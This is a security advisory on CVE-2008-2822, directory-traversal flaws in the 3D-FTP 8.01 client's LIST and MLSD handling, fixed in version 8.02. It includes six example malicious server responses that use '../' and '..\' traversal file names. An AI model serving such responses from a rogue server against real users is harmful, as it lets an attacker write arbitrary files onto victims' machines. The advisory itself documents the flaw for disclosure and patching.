3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

Bugtraq ID:	29749
Class:	Input Validation Error
CVE:	CVE-2008-2822
Remote:	Yes
Local:	No
Published:	Jun 16 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	Tan Chew Keong
Vulnerable:	3D-FTP 3D-FTP 8.01
Not Vulnerable:	3D-FTP 3D-FTP 8.02

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

3D-FTP is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues allows an attacker to write arbitrary files to locations outside of the FTP client's current directory. This could help the attacker launch further attacks.

3D-FTP 8.01 is vulnerable; other versions may also be affected.

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

Attackers can exploit this issue by enticing an unsuspecting user to connect to a maliciously crafted FTP server.

The following example responses are available:
Response to LIST (backslash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 /../../../../../../../../../testfile.txt\r\n

Response to LIST (combination):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

Response to MLSD (backslash):
type=file;modify=20080227074710;size=20; \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to MLSD (forward-slash):
type=file;modify=20080227074710;size=20; /../../../../../../../../../testfile.txt\r\n

Response to MLSD (combination):
type=file;modify=20080227074710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

Solution:
The vendor released 3D-FTP 8.02 to address these issues. Please contact the vendor for details.

3D-FTP 'LIST' and 'MLSD' Directory Traversal Vulnerabilities

References:

• 3D-FTP Homepage (3D-FTP)
  
• 3D-FTP FTP Client Directory Traversal Vulnerability (vuln.sg)